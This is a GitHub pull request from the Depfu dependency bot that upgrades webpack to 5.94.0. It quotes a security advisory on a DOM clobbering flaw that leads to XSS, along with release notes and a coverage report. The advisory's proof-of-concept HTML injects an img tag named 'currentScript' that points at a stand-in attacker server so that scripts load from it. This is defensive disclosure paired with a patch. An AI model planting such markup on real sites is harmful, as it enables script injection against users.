🚨 [security] Update webpack 5.89.0 → 5.94.0 (minor) #1262

depfu · 2024-08-27T20:10:53Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (5.89.0 → 5.94.0) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {

entry: './entry.js', // Ensure the correct path to your entry file

output: {

filename: 'webpack-gadgets.bundle.js', // Output bundle file

path: path.resolve(__dirname, 'dist'), // Output directory

publicPath: "auto", // Or leave this field not set

},

target: 'web',

mode: 'development',

};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Release Notes

5.94.0

Bug Fixes

Added runtime condition for harmony reexport checked

Handle properly data/http/https protocols in source maps

Make bigint optimistic when browserslist not found

Move @types/eslint-scope to dev deps

Related in asset stats is now always an array when no related found

Handle ASI for export declarations

Mangle destruction incorrect with export named default properly

Fixed unexpected asi generation with sequence expression

Fixed a lot of types

New Features

Added new external type "module-import"

Support webpackIgnore for new URL() construction

[CSS] @import pathinfo support

Security

Fixed DOM clobbering in auto public path

5.93.0

Bug Fixes

Generate correct relative path to runtime chunks

Makes DefinePlugin quieter under default log level

Fixed mangle destructuring default in namespace import

Fixed consumption of eager shared modules for module federation

Strip slash for pretty regexp

Calculate correct contenthash for CSS generator options

New Features

Added the binary generator option for asset modules to explicitly keep source maps produced by loaders

Added the modern-module library value for tree shakable output

Added the overrideStrict option to override strict or non-strict mode for javascript modules

5.92.1

Bug Fixes

Doesn't crash with an error when the css experiment is enabled and contenthash is used

5.92.0

Bug Fixes

Correct tidle range's comutation for module federation

Consider runtime for pure expression dependency update hash

Return value in the subtractRuntime function for runtime logic

Fixed failed to resolve promise when eager import a dynamic cjs

Avoid generation extra code for external modules when remapping is not required

The css/global type now handles the exports name

Avoid hashing for @keyframe and @property at-rules in css/global type

Fixed mangle with destructuring for JSON modules

The stats.hasWarnings() method now respects the ignoreWarnings option

Fixed ArrayQueue iterator

Correct behavior of __webpack_exports_info__.a.b.canMangle

Changed to the correct plugin name for the CommonJsChunkFormatPlugin plugin

Set the chunkLoading option to the import when environment is unknown and output is module

Fixed when runtimeChunk has no exports when module chunkFormat used

[CSS] Fixed parsing minimized CSS import

[CSS] URLs in CSS files now have correct public path

[CSS] The css module type should not allow parser to switch mode

[Types] Improved context module types

New Features

Added platform target properties to compiler

Improved multi compiler cache location and validating it

Support import attributes spec (with keyword)

Support node: prefix for Node.js core modules in runtime code

Support prefetch/preload for module chunk format

Support "..." in the importsFields option for resolver

Root module is less prone to be wrapped in IIFE

Export InitFragment class for plugins

Export compileBooleanMatcher util for plugins

Export InputFileSystem and OutputFileSystem types

[CSS] Support the esModule generator option for CSS modules

[CSS] Support CSS when chunk format is module

5.91.0

Bug Fixes

Deserializer for ignored modules doesn't crash

Allow the unsafeCache option to be a proxy object

Normalize the snapshot.unmanagedPaths option

Fixed fs types

Fixed resolve's plugins types

Fixed wrongly calculate postOrderIndex

Fixed watching types

Output import attrbiutes/import assertions for external JS imports

Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same

[CSS] Output layer/supports/media for external CSS imports

New Features

Allow to customize the stage of BannerPlugin

[CSS] Support CSS exports convention

[CSS] support CSS local ident name

[CSS] Support __webpack_nonce__ for CSS chunks

[CSS] Support fetchPriority for CSS chunks

[CSS] Allow to use LZW to compress css head meta (enabled in the production mode by default)

[CSS] Support prefetch/preload for CSS chunks

5.90.3

Bug Fixes

don't mangle when destructuring a reexport

types for Stats.toJson() and Stats.toString()

many internal types

[CSS] clean up export css local vars

Perf

simplify and optimize chunk graph creation

5.90.2

Bug Fixes

use Math.imul in fnv1a32 to avoid loss of precision, directly hash UTF16 values

the setStatus() of the HMR module should not return an array, which may cause infinite recursion

__webpack_exports_info__.xxx.canMangle shouldn't always same as default

mangle export with destructuring

use new runtime to reconsider skipped connections activeState

make dynamic import optional in try/catch

improve auto publicPath detection

Dependencies & Maintenance

improve CI setup and include Node.js@21

5.90.1

Bug Fixes

set unmanagedPaths in defaults

correct preOrderIndex and postOrderIndex

add fallback for MIME mismatch error in async wasm loading

browsers versions of ECMA features

Performance

optimize compareStringsNumeric

optimize numberHash using 32-bit FNV1a for small ranges, 64-bit for larger

reuse VM context across webpack magic comments

5.90.0

Bug Fixes

Fixed inner graph for classes

Optimized RemoveParentModulesPlugin via bigint arithmetic

Fixed worklet detection in production mode

Fixed an error for cyclic importModule

Fixed types for Server and Dirent

Added the fetchPriority to hmr runtime's ensureChunk function

Don't warn about dynamic import for build dependencies

External module generation respects the output.environment.arrowFunction option

Fixed consumimng shared runtime module logic

Fixed a runtime logic of multiple chunks

Fixed destructing assignment of dynamic import json file

Passing errors array for a module hash

Added /*#__PURE__*/ to generated JSON.parse()

Generated a library manifest after clean plugin

Fixed non amd externals and amd library

Fixed a bug in SideEffectsFlagPlugin with namespace re-exports

Fixed an error message for condition or

The strictModuleErrorHandling is now working

Clean up child compilation chunk graph to avoid memory leak

[CSS] - Fixed CSS import prefer relative resolution

[CSS] - Fixed CSS runtime chunk loading error message

New Features

Allow to set false for dev server in webpack.config.js

Added a warning for async external when not supported

Added a warning for async module when not supported

Added the node-module option for the node.__filename/__dirname and enable it by default for ESM target

Added the snapshot.unmanagedPaths option

Exposed the MultiCompilerOptions type

[CSS] - Added CSS parser options to enable/disable named exports

[CSS] - Moved CSS the exportsOnly option to CSS generator options

Dependencies & Maintenance

use node.js LTS version for lint

bump actions/cache from 3 to 4

bump prettier from 3.2.1 to 3.2.3

bump assemblyscript

bump actions/checkout from 3 to 4

Full Changelog: v5.89.0...v5.90.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @types/estree (indirect, 1.0.5 → 1.0.6) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ enhanced-resolve (indirect, 5.15.0 → 5.17.1) · Repo

Release Notes

5.17.1

fix: exports and imports array target resolving

perf(memory): avoid creating a new array inside doResolve

5.17.0

Features:

Allow default condition to be anywhere

5.16.1

Bugfixes

use cache for exports and imports plugins

5.16.0

Features:

cache realpath and realpathSync methods

Bugfixes

types for cached input filesystem

support Buffer/URL/number paths in cached file system

5.15.1

Bugfixes

find the pnpapi the issuer belongs to

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 70 commits:

↗️ serialize-javascript (indirect, 6.0.1 → 6.0.2) · Repo

Release Notes

6.0.2

fix: serialize URL string contents to prevent XSS (#173) f27d65d

Bump @babel/traverse from 7.10.1 to 7.23.7 (#171) 02499c0

docs: update readme with URL support (#146) 0d88527

chore: update node version and lock file e2a3a91

fix typo (#164) 5a1fa64

v6.0.1...v6.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits:

↗️ terser (indirect, 5.24.0 → 5.36.0) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ terser-webpack-plugin (indirect, 5.3.9 → 5.3.10) · Repo · Changelog

Release Notes

5.3.10

5.3.10 (2023-12-28)

Bug Fixes

bump terser to the latest stable version (#587) (f650fa3)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 12 commits:

↗️ watchpack (indirect, 2.4.0 → 2.4.2) · Repo

Release Notes

2.4.2

Bugfixes

handle empty strings and arrays in ignored

2.4.1

Bugfixes

do not report directory as initial missing on the second watch

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 25 commits:

🆕 acorn-import-attributes (added, 1.9.5)

🆕 acorn (added, 8.14.0)

🗑️ @types/eslint (removed)

🗑️ @types/eslint-scope (removed)

🗑️ acorn-import-assertions (removed)

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

coveralls · 2024-08-27T20:13:43Z

Pull Request Test Coverage Report for Build 99516

Details

0 of 0 changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 35.578%

Totals
Change from base Build 99515:	0.0%
Covered Lines:	275
Relevant Lines:	785

💛 - Coveralls

depfu bot added the depfu label Aug 27, 2024

depfu bot assigned joclefrancois Aug 27, 2024

depfu bot requested a review from joclefrancois August 27, 2024 20:10

Update webpack to version 5.94.0

9e45196

depfu bot force-pushed the depfu/update/npm/webpack-5.94.0 branch from c6ae288 to 9e45196 Compare November 14, 2024 21:05

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] Update webpack 5.89.0 → 5.94.0 (minor) #1262

🚨 [security] Update webpack 5.89.0 → 5.94.0 (minor) #1262

depfu bot commented Aug 27, 2024 •

edited

Loading

coveralls commented Aug 27, 2024 •

edited

Loading

🚨 [security] Update webpack 5.89.0 → 5.94.0 (minor) #1262

Are you sure you want to change the base?

🚨 [security] Update webpack 5.89.0 → 5.94.0 (minor) #1262

Conversation

depfu bot commented Aug 27, 2024 • edited Loading

What changed?

✳️ webpack (5.89.0 → 5.94.0) · Repo

Summary

Details

Backgrounds

Gadgets found in Webpack

PoC

Impact

Patch

Bug Fixes

New Features

Security

Bug Fixes

New Features

Bug Fixes

Bug Fixes

New Features

Bug Fixes

New Features

Bug Fixes

Perf

Bug Fixes

Dependencies & Maintenance

Bug Fixes

Performance

Bug Fixes

New Features

Dependencies & Maintenance

↗️ @​types/estree (indirect, 1.0.5 → 1.0.6) · Repo

↗️ enhanced-resolve (indirect, 5.15.0 → 5.17.1) · Repo

Bugfixes

Features:

Bugfixes

Bugfixes

↗️ serialize-javascript (indirect, 6.0.1 → 6.0.2) · Repo

↗️ terser (indirect, 5.24.0 → 5.36.0) · Repo · Changelog

↗️ terser-webpack-plugin (indirect, 5.3.9 → 5.3.10) · Repo · Changelog

5.3.10 (2023-12-28)

Bug Fixes

↗️ watchpack (indirect, 2.4.0 → 2.4.2) · Repo

Bugfixes

Bugfixes

🆕 acorn-import-attributes (added, 1.9.5)

🆕 acorn (added, 8.14.0)

🗑️ @​types/eslint (removed)

🗑️ @​types/eslint-scope (removed)

🗑️ acorn-import-assertions (removed)

coveralls commented Aug 27, 2024 • edited Loading

Pull Request Test Coverage Report for Build 99516

Details

💛 - Coveralls

depfu bot commented Aug 27, 2024 •

edited

Loading

↗️ @types/estree (indirect, 1.0.5 → 1.0.6) · Repo

🗑️ @types/eslint (removed)

🗑️ @types/eslint-scope (removed)

coveralls commented Aug 27, 2024 •

edited

Loading